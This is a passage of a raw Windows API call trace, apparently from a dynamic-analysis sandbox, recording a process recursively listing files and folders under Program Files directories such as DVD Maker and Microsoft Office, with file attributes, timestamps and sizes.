lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0044.270] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.270] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.270] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0044.271] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.271] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0044.271] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0044.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0044.271] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0044.272] FindClose (in: hFindFile=0x3f02108 | out: hFindFile=0x3f02108) returned 1 [0044.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36a0730 | out: hHeap=0x5a0000) returned 1 [0044.272] FindNextFileW (in: hFindFile=0x3f020c8, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0044.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02108 [0044.273] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.273] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0045.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0045.708] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.709] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0045.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0045.835] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.835] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0045.850] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.850] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0049.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0050.133] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.133] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0050.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0050.451] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.451] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0050.451] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0050.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f99e38 | out: hHeap=0x5a0000) returned 1 [0050.451] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0050.451] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0050.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0050.451] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0050.451] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0050.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f834e0 | out: hHeap=0x5a0000) returned 1 [0050.452] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0050.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0050.454] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.454] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0050.655] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.699] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0050.775] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0050.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f99e38 | out: hHeap=0x5a0000) returned 1 [0050.775] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0050.775] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0050.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f834e0 | out: hHeap=0x5a0000) returned 1 [0050.775] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0050.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0050.785] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.785] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0050.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0050.786] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.786] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0050.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0050.787] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.787] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0050.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0050.788] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, 